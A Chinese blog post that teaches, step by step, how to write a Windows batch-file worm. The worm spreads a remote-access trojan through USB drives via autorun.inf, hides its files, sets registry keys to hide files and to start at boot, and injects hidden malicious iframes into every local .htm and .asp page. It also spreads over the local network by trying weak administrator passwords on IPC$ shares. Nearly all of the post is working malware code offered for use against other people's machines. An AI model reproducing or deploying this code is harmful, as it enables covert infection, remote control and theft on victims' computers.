批处理之U盘病毒木马传播

几年前的老文章,博客系统更换了这篇文章也换过来吧。

一直自学编程,可是厚厚的C语言啃的我头昏眼花。哎,既然语言这么难学,难道就编不了程序?NO,我突然想到了批处理即bat文件,嘿嘿,大家应该很熟悉吧!一直以来都是用别人的,只看见黑屏哗哗滚动,羡慕呀!现在我们也动手写一个呗!o(∩_∩)o…哈哈

事出有因

本人在07年自费80买了个U盘,看过一篇文章是用VB编写病毒传播灰鸽子。可是第一次用那个程序去语文老师那拷电影,没想到叫金山给抓了!吓得我一想起来就冒冷汗!幸好老师太(我班对她的”敬称”)在我的三寸不烂之舌之下说得没太在意,因为她比我还菜,哈哈。此后,就下决心自己写一个!哼!^_^

程序简介

此批处理程序分2种用法:1、love.exe文件与木马不捆绑,也就是在:Copy段中单独调用copy将木马server.exe复制到C盘内并运行。前提是木马正常配置,即可以自动添加自启动。2、将批处理制作的程序love.exe与木马server.exe捆绑成一个,前提是木马的配置不要自动添加自启动。否则每次开机都随love.exe自启动一遍木马,那开机几十此后就有几十匹马在跑,不把人家逼得重装系统才怪呢!

批处理代码分析

先看程序图1

REM 检测程序本身是否在c盘之中  //REM为注释语句,本批处理中用来对代码做区分。注意:它是可以不要滴!

:Start

if not exist %systemroot%system32love.exe GOTO Copy

GOTO Search

REM 向c盘内复制文件

:Copy

attrib -a -s -h %movedisk%love.exe

attrib -a -s -h %movedisk%server.exe  //之所以加上这两句,是因为文件在加上这些属性后无法使用copy复制文件,即后面的动作!- 是去除的意思,s是系统属性,h是隐藏属性,a是只读属性。意思就是去除文件的只读、系统、隐藏属性。

copy love.exe %systemroot%system32 /y

copy server.exe %systemroot%system32 /y

start %systemroot%system32love.exe

start %systemroot%system32server.exe

attrib +s +h %movedisk%love.exe

attrib +s +h %movedisk%server.exe   //将文件属性恢复为系统,隐藏。

Exit    //退出该程序

REM 遍历所有驱动器查找可移动磁盘

:Search

for %%a in (c d e f g h i j k l m n) do @fsutil fsinfo drivetype %%a:>>%systemroot%yang.txt

//for是循环语句,它是批处理中的一大难点。到现在我还搞不太懂,大家在这部份要下苦功夫呀!Fsutil是可用于执行多种与FAT和NTFS文件系统相关的任处,加上fsinfo是为了列出所有驱动器的信息,再加上drivetype就是查询一个驱动器的类型。%%a是个变量,这里分别将c—n的各个驱动器赋值给这个%%a了。之所以是从c-n,是自己定的。其实很多教程上都是从c-z,但我认为没那必要,到n就够用的了。反正我是没见过有谁的电脑上有那么多硬盘。有谁见过联系一下我呀,让我也长长见识^_^。>>是输出定向命令,>与>>都可以创建文件,写入信息。但不同的是>将会替换原有内容,而>>则在后面添加内容。

findstr /i “可移动驱动器” %systemroot%yang.txt ////findstr是查找字符串的一个命令,用于查询yang.txt文件中以”可移动驱动器”为关键字的内容。这里的/i是不区分大小写用的参数。

if errorlevel==1 goto Start

if errorlevel==0 goto Ok

:Ok

for /f “tokens=1” %%a in (‘findstr /i “可移动驱动器” %systemroot%yang.txt’) do @set movedisk=%%a  //for中的tokens简单说是把tokens当作分列,这里就是分一列的意思。单引号需注意,加了单引号才表示in里面的语句。Set是将变量%%a赋值为环境变量movedisk,如果测出你的I盘是你的移动硬盘,那么movedisk就代表I:了。

del %systemroot%yang.txt /q /f   //删除临时文件

if exist %movedisk%love.exe goto Next

goto Run

:Next

if exist %movedisk%Autorun.inf goto Start  //只有存在love.exe和autorun.inf文件时才返回到Start。

goto Run

:Run

REM 向可移动磁盘内复制文件

copy %systemroot%system32love.exe %movedisk% /y

copy %systemroot%system32server.exe %movedisk% /y  //如果你想让love.exe与你的木马server.exe捆绑成一个文件,那要删除此行。

attrib +s +h %movedisk%love.exe

attrib +s +h %movedisk%server.exe

if exist %movedisk%autorun.inf (attrib -a -s -h %movedisk%autorun.inf

del %movedisk%autorun.inf)  //如果移动硬盘已存在autorun.inf文件则删除,重建。

echo [AutoRun]>%movedisk%Autorun.inf

echo shellopencommand=love.exe>>%movedisk%Autorun.inf

echo shellopen=打开(^&O)>>%movedisk%Autorun.inf

echo shellexplore=资源管理器(^&X)>>%movedisk%Autorun.inf  //echo是输出命令,作用在于向移动硬盘里建有内容的autorun.inf文件。^符号是转义字符,表示让后面的&符号失去原有的意义。此处的&是加粗显示的用途。

attrib +s +h %movedisk%Autorun.inf

REM 修改一下注册表键值不显示隐藏文件

REG ADD “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFdderHiddenSHOWALL” /v “CheckedValue” /t REG_DWORD /d 0 /f

REM 添加注册表使自己自启动

REG ADD “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v REG_EXPAND_SZ /D “C:WINDOWSSystem32love.exe” /f   //REG ADD是对注册表进行添加的操作。/v后面跟的是项的名称,/t后面跟的是数据类型,/f表示操作为强制而不提示。

ping 127.1 -n 15  //由于批处理的致命弱点,无法驻留内存每隔几秒扫描一次文件是否被删除,因为反复隔几秒的循环起来会狂占内存,因此用ping拖延时间。15表示次数,次数越多,循环时间越长。

GOTO Start

好了,到此想要的功能基本上完成了。当然,用批处理可以添加更多功能,比如本机网页挂马,局域网传播等,下面给出一些代码,可以添加到文件,当然不添加也可以。随便你,依据自己需要即可(适合自己的就是最好的!包括女朋友,o(∩_∩)o…哈哈)。

REM 自动对htm,html网页插入木马代码

For %%b in (c d e f g h I j k l m n) do (

If exist %%b:nul(

For /f “tokens=*” %%c in (‘dir /s/b/a-d %%b:*.htm’) do (echo ^<iframe src=”http://………” width=”0″ height=”0″ border=”0″^>^</iframe^>>>”%%c”)

))

REM 自动对asp,aspx网页插入网页木马代码

For %%b in (c d e f g h I j k l m n) do (

If exist %%b:nul(

For /f “tokens=*” %%c in (‘dir /s/b/a-d %%b:*.asp’) do (echo ^<iframe src=”http://………” width=”0″ height=”0″ border=”0″^>^</iframe^>>>”%%c”)

))

REM 局域网传播

For /f “tokens=2 delims=:” %%a in (‘ipconfig ^|find /i “ip address”‘) do (set ip=%%a&&goto:Net)    //这句是先执行ipconfig这条命令,然后查ip address字符,然后利用tokens分列来获取内网ip地址。

:Net

Set “ip=%ip: =%”   //作用是将获取的ip前面的空格去掉。

For /f “tokens=1,2,3 delims=.” %%b in(“%ip%”) do

(set ip1=1 call :chuan %%b %%c %%d %ip1%)

:chuan

Set ip= %1.%2.%3.%ip1%

Ping %ip% -n 1 –w 1 |findstr /I “time<” && net user %ip%ipc$ “123456” /user:”administrator” &&copy love.exe %ip%admin$ && REG ADD %ip%HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v type /t REG_EXPAND_SZ /d “C:WINDOWSSystem32love.exe” /f  //ping的w表示时间间隔,单位为毫秒,具体自己调整。&与&&区别在于,&前面的语句即使失败后面还会继续执行,而&&则不会继续执行。所以用&&,防止后面执行无用的语句。123456是我们设的弱口令,administrator是用户名,这两项都可以调用变量或字典。此处不作深究。

set /a ip1+=1    //将最后的ip段累加,每次累加1./a表示后面为数字型。

if %ip1% lss 255 goto :chuan  //如果ip末尾小于255,则继续循环,反之则跳出循环。

Exit

文件编写完了,为了不让它运行时有界面,我们用批处理潜行者做成exe文件。如图2,图3

做好了,放到U盘里试验一下。将生成的love.exe和自己配置的木马server.exe放到根目录下,运行love.exe,以后就不用管了。因为以后它会自动运行的,ok成功上线!

总结:由于批处理程序必定不同于用语言编写的程序,它在运行时是靠cmd命令窗口实现的。因此后台进程中会出现cmd进程。并且占用内存较大。但是基于本人水平太低,以及希望借此文章帮大家学习或回忆一下批处理的用法,就班门弄斧了!学习的是知识吗!哈哈。由于时间仓促,文章难免有纰漏,如果后面附加功能的代码有错误的地方,欢迎大家斧正,但是正文代码是经过测试的。